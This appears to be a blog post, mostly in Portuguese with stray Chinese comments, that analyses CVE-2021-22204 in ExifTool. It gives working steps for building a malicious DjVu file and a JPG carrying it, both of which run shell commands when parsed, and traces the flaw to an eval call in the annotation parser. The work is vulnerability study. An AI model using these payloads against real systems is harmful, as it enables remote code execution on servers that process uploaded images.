
Este deveria ser um artigo de análise do CVE-2021-22204, mas é mais como um caderno de rascunhos, cheio de coisas desorganizadas. Para um artigo de análise de vulnerabilidades, acaba sendo um tanto irrelevante, mas me ensinou muito.
Para ser honesto, nunca usei essa ferramenta e quase não tive contato com a linguagem Perl, o que fez com que eu ficasse cheio de dúvidas durante a análise e até mesmo na reprodução. Antes de começar a análise, vamos ver o PoC já divulgado na internet e as minhas dúvidas.
Um artigo que vi foi [1], que faz uma breve introdução sobre a causa da vulnerabilidade, mas como não entendo código Perl, muitas partes não ficaram claras para mim. O processo de reprodução é o seguinte:
Baixe a versão 12.23 do exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Descompacte e instale
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Claro, se você não quiser instalá-lo, pode simplesmente colocar o arquivo exiftool do diretório exiftool-12.23 em um diretório que esteja no PATH do ambiente, e assim também poderá usar a ferramenta exiftool diretamente, pois Perl é uma linguagem interpretada, semelhante ao Python.
Para criar uma imagem maliciosa, primeiro instale as ferramentas necessárias
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Execute o seguinte comando para criar um arquivo djvu malicioso
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Em seguida, ao analisar o arquivo malicioso com a ferramenta exiftool, você verá que o comando id foi executado com sucesso.
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Ao criar o arquivo no formato djvu com o comando djvumake anteriormente, seria possível não compactar o payload? Do ponto de vista da análise, isso dificulta a visualização e os testes. Claro que sim, basta trocar o parâmetro ANTz por ANTa. Quanto ao ANTz e ANTa, você pode consultar a documentação do exiftool [3], mas ainda não encontrei o significado específico deles, porque não há uma documentação padrão.
Aqui ainda quero reclamar: eu queria ver a descrição dos parâmetros através do
man djvumake, mas não havia nenhuma explicação sobreANTzeANTa; a documentação é de 2001 e não é atualizada há muito tempo.
| ID da Tag | Nome da Tag | Gravável |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa significa que Annotation é armazenada em formato de texto puro no metadata do arquivo djvu, enquanto ANTz é o formato compactado bzz.
Mas arquivos no formato djvu não são comuns, especialmente em sites que permitem upload de imagens, que geralmente aceitam apenas arquivos como png/jpg/jpeg. Então, se fosse possível transformar o arquivo djvu malicioso em um arquivo jpg, seria ótimo.
A ferramenta exiftool pode nos ajudar a modificar o conteúdo da imagem; basta inserir o arquivo djvu malicioso na posição apropriada do arquivo jpg. Quanto a qual posição exatamente e por que ela pode ser essa, explicarei mais adiante na análise.
Crie um arquivo de configuração do exiftool chamado eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b 对应Tag 'HasselbladExif'[6]
0xc51b => {
# 名字可以随意指定,这是接收的参数名称
Name => 'HasselbladExif',
# 可写入的变量类型
Writable => 'string',
# 写入的数据归属于metadata的哪一个Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
Sobre a forma de escrever arquivos de configuração do exiftool, consulte [4][5]. Em seguida, pegue um arquivo de imagem jpg comum, poc.jpg, e execute o seguinte comando
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Em seguida, analise o poc.jpg com o exiftool; o comando é executado com sucesso.
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
O processo de análise a seguir é baseado no conteúdo de [2]. A versão afetada pela vulnerabilidade é exiftool < 12.24, e o arquivo que causa a vulnerabilidade é
lib/Image/ExifTool/DjVu.pm (line 202)
O código da função relacionada é o seguinte
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Nunca tive contato com a linguagem Perl; sinceramente, não entendi praticamente nada do que esse código faz, mas felizmente há comentários muito bons que ajudam a entender a função. Pela descrição da função, ela serve para analisar os dados de annotation em arquivos djvu e, pela estrutura do código, é processada recursivamente, e os dados de annotation são delimitados por ().
Para facilitar a compreensão do código e também por motivos de aprendizado, apresentarei brevemente o uso de expressões regulares em Perl.
A forma de usar expressões regulares em Perl é bastante peculiar e diferente das linguagens com as quais já tive contato. Em Perl, as expressões regulares têm três formas:
m//, o m pode ser omitidos///tr///Entre // fica a expressão regular ou string, mas os delimitadores também podem ser {}, não se limitando a //; essa é uma característica da linguagem Perl.
A seguir, vejamos um exemplo de código de correspondência:
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
Em Perl, é possível usar expressões regulares através do operador =~. No código acima, independentemente de a expressão regular encontrar correspondência ou não, ao imprimir $str, a saída será sempre this is a string. Porém, quando a expressão regular não encontra correspondência, ela retorna o valor booleano false.
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
Se você quiser substituir o conteúdo de uma variável string, pode fazer assim:
#!/usr/bin/perl
$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# ouput
# this is str
Usar a função de substituição altera diretamente o valor da variável.
Agora que você entendeu o conteúdo das expressões regulares em Perl, vamos voltar e olhar novamente para a função anterior.
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# 获取传入的参数(是个引用)
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# 遇到左括号则递归处理
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# 获取前一次正则匹配命中的位置,执行到这里,这个位置就是第一个引号的位置
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# 再次匹配右引号的位置,并截取引号之间的内容
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# 检查反斜杠的数量是不是奇数,避免在后续qq{""}时,行尾的"被转义
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# 如果是奇数,则补上一个"号
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Para facilitar a compreensão, precisamos de um arquivo adequado que faça o exiftool executar essa função durante a análise. Podemos usar o método anterior para construir um arquivo djvu chamado exploit.djvu, com o seguinte conteúdo de payload:
(metadata (Author "trganda"))
Em seguida, adicione alguns print em pontos-chave da função ParseAnt($) para imprimir informações, como acima. Depois, execute no diretório do código-fonte do exiftool:
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
A partir daqui, podemos ver o conteúdo que é passado para o eval no final. Observe que as aspas duplas não podem ser ignoradas.
"trganda"
E se substituíssemos trganda pela função system para executar comandos? Vamos ver na prática.
$tok = "${system('id')};";
# output
# "\${system('id')};"
Ao executar, percebemos que a saída é apenas o texto passado; o código não é executado, pois o $ é substituído por \$.
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
Então, como contornar essa limitação? Sobre essa questão, precisamos avançar passo a passo. O autor de [2], durante os testes, usou o seguinte payload:
(metadata (Author "a\
""))
A saída após a execução é a seguinte; o eval acusou uma exceção.
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Aqui vou explicar o que acontece quando esse payload é passado, focando principalmente no segundo loop for.
# Author 这个Annotation的内容为,不要遗漏\n
"a\(\n)
""
# 在for循环中第一次截取子串,$tok得到的内容是,因为第一次正则匹配到了第一个双引号,第二次匹配到第二行的第一个双引号
a\(\n)
# 接着代码会检查行尾的\数量是不是奇数,如果是,则会补上一个",
# 而正则$tok =~ /(\\+)$/在匹配时,$符号是匹配\n的而不是文本的结尾。
# 这样就会执行后面的代码,给$tok的末尾补上一个"。
a\(\n)"
# 第二次进入循环截取子串,得到的内容是第二行""之间的内容,但这里是空的,与$tok拼接后得到的结果和前面一样
a\(\n)"
# 之后进入eval执行的内容是
qq{"$tok"} -> "a\(\n)""
# eval执行后报错,因为"没有闭合
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Sobre a lógica de execução do eval em Perl, recomendo consultar a documentação oficial [9]. Mas como parte do conteúdo não é mencionado na documentação, e eu nunca usei Perl, comecei a não conseguir entender alguns pontos. Só pude entender certas lógicas do eval testando repetidamente com exemplos de código. Abaixo, mencionarei alguns conteúdos que ajudam a entender essa vulnerabilidade antes de começar a explicar o processo de execução do payload real.
Além de executar trechos de código, o eval em Perl também pode capturar exceções sem interromper a execução do programa. O eval pode receber constantes de string, variáveis de string ou código diretamente para análise e execução.
# 字符串常量
eval "system('id')";
# 变量
$cm = "system('id')";
eval $cm;
eval "$cm";
# 直接执行代码
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
A estratégia de execução do eval é retornar apenas o resultado da última subinstrução; ou seja, se houver múltiplos trechos de código, apenas o último resultado é considerado, como no exemplo abaixo:
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
Quando o eval encontra um erro ao executar uma instrução, o código seguinte não é executado e uma exceção é lançada (se houver).
Olhando novamente para o payload de teste anterior, você notou algo? Se conseguirmos fechar corretamente a " e colocar o código a ser executado entre as aspas da segunda linha, o código poderá ser executado pelo eval. O autor de [2] apresentou a seguinte forma:
(metadata
(Author "\
" . return `date`; #")
)
# 最后传入eval执行的内容为
"\
" . return `date`; #"
Então, como entender essa parte que é executada pelo eval? Primeiro, o operador . em Perl é usado para concatenar strings, então primeiro é executado:
return `date`;
Depois, o resultado retornado é concatenado com \(\n). Na verdade, mesmo sem esse return, a execução do comando date não seria afetada, e o " final é comentado.
Claro, também é possível escrever assim:
(metadata (Author "\
"; return `date`; #"))
# 最后传入eval执行的内容为
"\
"; return `date`; #"
Dessa forma, o eval primeiro analisa "\(\n)";, tratando essa parte como uma string; depois continua analisando as instruções seguintes, e assim o comando date é executado com sucesso.
Após executar o payload acima, você verá o resultado abaixo; é possível ver que a execução foi bem-sucedida.
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
Escrevendo até aqui, estou um pouco cansado. O payload fornecido pelo autor de [2] é executado perfeitamente ao evitar as aspas, mas existe outra forma? Na verdade, olhando para trás, o conteúdo de [1] já apresentava isso:
(metadata "\c${system('id')};")
Saiba que a função ParseAnt($) substitui o símbolo $, o que impede a execução direta. Então por que isso funciona? Você deve estar curioso sobre qual é a função do \c. Primeiro, construa o arquivo djvu com o payload acima; após a análise do exiftool, o conteúdo passado para o eval é:
"\c\${system('id')};"
Na ausência de \c:
"\${system('id')};"
Esse código não será executado de fato; no final, o que será retornado é apenas uma string, porque o símbolo $ está escapado. A função do \c é cancelar o efeito da \ antes do $, permitindo que o código seguinte seja executado. Em Perl, também existem muitos caracteres de escape, e \c é um deles; no entanto, ele não é usado isoladamente, mas sim combinado com um caractere qualquer.
| Caractere de escape | Significado |
|---|---|
| \cX | Caractere de controle; X pode ser qualquer caractere |
É exatamente por isso que \c\ é interpretado como outra coisa, permitindo que o código seguinte seja executado.
Os arquivos maliciosos construídos anteriormente estão limitados ao formato djvu. Se pudéssemos construir um arquivo comum, como uma imagem jpg, seria mais significativo. Para isso, precisamos descobrir quais arquivos, ao serem analisados, chamam a função vulnerável ParseAnt($).
Buscando para cima, descobri que ProcessAnt($$$) chama ParseAnt($), mas não foi possível encontrar diretamente mais acima.
ProcessAnt($$$)
|
v
ParseAnt($)
Como a linguagem Perl possui um mecanismo de carregamento dinâmico de módulos, podemos tentar ver onde o arquivo DjVu.pm é carregado.

Ao examinar os arquivos encontrados um a um, descobri que na line 2620 de lib/Image/ExifTool.pm existe o seguinte código que determina qual módulo carregar com base no tipo de arquivo para processar o arquivo correspondente.
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
Em seguida, continuei procurando onde ExtractInfo($;@) é chamado e encontrei vários locais; o foco principal é no código na line 3004 de lib/Image/ExifTool/Exif.pm.
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::Main é uma tabela no formato Map, e a função de Exif.pm, como também descrito nos comentários, é ler informações de metadata que seguem a especificação EXIF/TIFF.
Descrição: Ler informações de metadados EXIF/TIFF
Na verdade, durante a reprodução anterior, já tinha visto %Image::ExifTool::Exif::Main, mas na época não entendia o que significava 0xc51 e por que esse valor era necessário. Agora sei que, se as informações de metadata do arquivo contiverem conteúdo correspondente a esse id 0xc51, ele será analisado pela função ExtractInfo e chegará gradualmente à função vulnerável.
Por isso, anteriormente, usando o poderoso recurso de personalização do exiftool, escrevi um arquivo config para personalizar um arquivo jpg comum, inserindo metadata do tipo 0xc51b, onde o conteúdo malicioso é armazenado. Até aqui, todo o processo de disparo está basicamente claro, e as minhas dúvidas foram respondidas. O autor de [2] também apresentou maneiras de inserir dados maliciosos em arquivos de outros formatos, e a ideia é semelhante.
Veja o resultado do diff no GitHub:

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)
[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io
[3] TagNames of DjVu
[4] TagNames Explan
[5] Exiftool User Defined Configuration File
[6] EXIF
[7] Groups
[8] exiftool-arbitrary-code-execution
[9] eval in Perl